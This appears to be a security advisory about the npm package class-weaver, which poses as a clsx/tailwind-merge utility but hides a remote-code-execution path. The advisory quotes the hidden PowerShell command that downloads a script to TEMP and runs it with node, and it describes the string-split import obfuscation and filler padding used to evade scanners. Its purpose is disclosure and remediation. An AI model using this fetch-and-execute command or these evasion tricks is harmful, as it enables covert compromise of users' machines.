MAL-2026-4521 Malicious code in class-weaver (npm)

class-weaver advertises itself as a className/theme utility (keywords clsx, utils, styling; exports named classNames and twMerge mimicking clsx/tailwind-merge), but its dist/index.js contains a hidden remote-code-execution path inside the exported applyGlobalStyles({palette, accents}) function. The function AES-256-CBC-decrypts caller-supplied hex arrays using a hardcoded 32-byte key (assembled from eight concatenated hex fragments) and spawns powershell.exe with arguments ["-WindowStyle","Hidden","-NoProfile","-Command",irm ${URL} -o $env:TEMP\s.js; node $env:TEMP\s.js] via spawnSync with windowsHide:true — downloading and executing arbitrary JavaScript on Windows installers. The node:crypto and node:child_process modules are imported through string-split array-join obfuscation (["no","de",":","cry","pto"].join("")) to evade static dependency scanning. Thousands of filler functions (isWithinBoundary1..200, mapOperation1..250, applyPreset1..150, createSequenceStep1..250, checkConstraint1..250) pad the bundle to disguise the ~30-line malicious payload. The package framing as a clsx/tailwind-merge drop-in is a lure; any consumer invoking the documented applyGlobalStyles API with attacker-controlled accent/palette values triggers fetch-and-execute of arbitrary code.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.